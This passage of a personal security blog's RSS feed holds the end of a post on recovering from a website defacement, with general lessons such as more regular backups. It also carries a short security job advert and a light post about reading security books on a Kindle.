<li>Understand the structure and layout of WordPress and the web site</li>
<li>More regular backups</li>
<li>Rotate the access logs off the server</li>
</ul>
<h2>So am I safe now?</h2>
<p>Possibly, possibly not.</p>
<p>I can say I&#8217;ve improved the security of the site and cleaned up some crap. As I still don&#8217;t know how he got in, he may just read this, get annoyed and deface the site again using the same hole he did last time. As I think he just ran an automated scanner to find &#8220;x&#8221; problem then automatically exploit it, he probably won&#8217;t read this or even visit the site. Saying that, only a very small number of sites got exploited, so he might come back to visit. <img src='http://www.chris-mohan.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>If so and that&#8217;s you Mr Attacker- Bonjour là, signalent un commentaire et me font savoir vous êtes entré  la première fois. Merci !</p>
<p>I would have used Arabic, but I don&#8217;t really trust the translation software. I&#8217;ve seen what it does to English.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2010/06/being-defaced-and-cleaning-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Security role in Sydney</title>
		<link>http://www.chris-mohan.com/2010/03/security-role-in-sydney/</link>
		<comments>http://www.chris-mohan.com/2010/03/security-role-in-sydney/#comments</comments>
		<pubDate>Sat, 20 Mar 2010 07:06:40 +0000</pubDate>
		<dc:creator>ChrisM</dc:creator>
				<category><![CDATA[Real world]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/?p=582</guid>
		<description><![CDATA[A new role has been created at a well known security firm in Sydney, and they want you &#8211; well, if you&#8217;re any good. These guys do great work, have excellent clients and the environment to sharpen your security skills to a razor&#8217;s edge. Normally, I&#8217;d leave you to hunt through your favorite job web [...]]]></description>
			<content:encoded><![CDATA[<p>A new role has been created at a well known security firm in Sydney, and they want you &#8211; well, if you&#8217;re any good.</p>
<p>These guys do great work, have excellent clients and the environment to sharpen your security skills to a razor&#8217;s edge.</p>
<p>Normally, I&#8217;d leave you to hunt through your favorite job web site but, in a moment of kindness, feast your eyes on <a title="Security Role in Sydney" href="http://www.damiangrace.com/2010/03/we-are-hiring/" target="_blank">this</a></p>
<p>On a mildly serious note, you would struggle to find similar opportunities for skills and career advancement in the security field. The team there are great to work with and there&#8217;s no end of learning opportunities.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2010/03/security-role-in-sydney/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Amazon Kindle: a Trojan horse for looking normal</title>
		<link>http://www.chris-mohan.com/2010/02/amazon-kindle-a-trojan-horse-for-looking-normal/</link>
		<comments>http://www.chris-mohan.com/2010/02/amazon-kindle-a-trojan-horse-for-looking-normal/#comments</comments>
		<pubDate>Fri, 05 Feb 2010 13:19:45 +0000</pubDate>
		<dc:creator>Chris Mohan</dc:creator>
				<category><![CDATA[Books]]></category>
		<category><![CDATA[Real world]]></category>

		<guid isPermaLink="false">http://www.chris-mohan.com/2010/02/amazon-kindle-a-trojan-horse-for-looking-normal/</guid>
		<description><![CDATA[I was sceptical before hand, but now this little thing has dropped 4 kilos from my book bag. I can read and carry all my geeks book, massive pdf files and evil security books without raising suspicions. I get curious glances on the bus, but none of the looks of outright horror and fear when [...]]]></description>
			<content:encoded><![CDATA[<p>I was sceptical before hand, but now this little thing has dropped 4 kilos from my book bag.</p>
<p>I can read and carry all my geeks book, massive pdf files and evil security books without raising suspicions.</p>
<p>I get curious glances on the bus, but none of the looks of outright horror and fear when I leafing through a 1000 pager on TCP/IP.</p>
<p>I can quickly flip to a human friendly book if someone takes and interest in the kindle and wow them with free access to buy books anywhere in the world.</p>
<p>Then I can sneak back to reading up on BOFs, SEH and other three letter acronyms (tla) of the IT world with click of a button.</p>
<p>Even the Microsoft training manual PDF&#8217;s overly Visio-ed diagrams come out well.</p>
<p>Mu-ha-ha</p>
<p>Now if only copy write laws banning thousands of books being delivered to Australia based kindles could be sorted, I&#8217;d be a very happy man.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chris-mohan.com/2010/02/amazon-kindle-a-trojan-horse-for-looking-normal/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

